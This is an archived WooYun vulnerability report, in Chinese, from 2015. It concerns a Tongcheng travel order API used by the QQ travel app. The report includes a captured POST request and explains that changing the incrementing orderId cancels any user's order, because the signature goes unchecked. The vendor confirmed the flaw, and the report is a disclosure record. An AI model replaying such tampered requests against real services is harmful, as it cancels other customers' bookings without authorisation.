同程旅游网某接口可取消任意订单

编号146752
Urlhttp://www.wooyun.org/bug.php?action=view&id=146752
漏洞状态厂商已经确认
漏洞标题同程旅游网某接口可取消任意订单
漏洞类型设计缺陷/逻辑错误
厂商苏州同程旅游网络科技有限公司
白帽子Focusstart
提交日期2015-10-14 18:19:00
公开日期2015-11-28 19:14:00
修复时间(not set)
确认时间2015-10-14 00:00:00
Confirm Spend0
漏洞标签设计错误 同程旅游网
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank13
漏洞简介
腾讯的APP,但是接口是同程的。。
肉疼。。。
没乌币还川神了。。。
漏洞细节

首先,我们打开QQ旅游网
http://travel.go.qq.com/v2/home.html
点击下载最新app

1.png


POC

安装完成

2.png


下单之后有取消订单按钮

3.png


点击取消订单,抓包

POST /qqtravelappapi/api/Order/CancelOrder HTTP/1.1
Content-Type: application/json;charset=utf-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; Coolpad 9150 Build/JZO54K)
Host: txapi.ly.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 354
{"body":{"nickName":"testtest","orderId":1730501,"userId":123946913},"clientInfo":{"deviceId":"990003157996618","refid":"35899326","versionNumber":"v4.3.0","versionType":"Android"},"header":{"accountID":"c26b007f-c89e-431a-b8cc-493becbdd8a2","digitalSign":"592e505e8830c16750d17cf3ad907cfcdb61135a","reqTime":"2015-10-13 23:29:03","version":"2014.6.13"}}


虽然有Sign,但是没用
直接修改orderId即可取消任意订单
且发现订单id是递增的,根据下单的id可发现还是有一定订单数的
返回成功

4.png

修复方案

权限控制

状态信息 2015-10-14: 细节已通知厂商并且等待厂商处理中
2015-10-14: 厂商已经确认,细节仅向厂商公开
2015-10-24: 细节向核心白帽子及相关领域专家公开
2015-11-03: 细节向普通白帽子公开
2015-11-13: 细节向实习白帽子公开
2015-11-28: 细节向公众公开
厂商回复感谢关注同程旅游。
回应信息危害等级:高漏洞Rank:13 确认时间:2015-10-14 19:13
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

@Focusstart 还送JD卡吗

phoenixne02016-01-19 17:08:00

…小厂商了…

Focusstart02015-10-14 18:45:00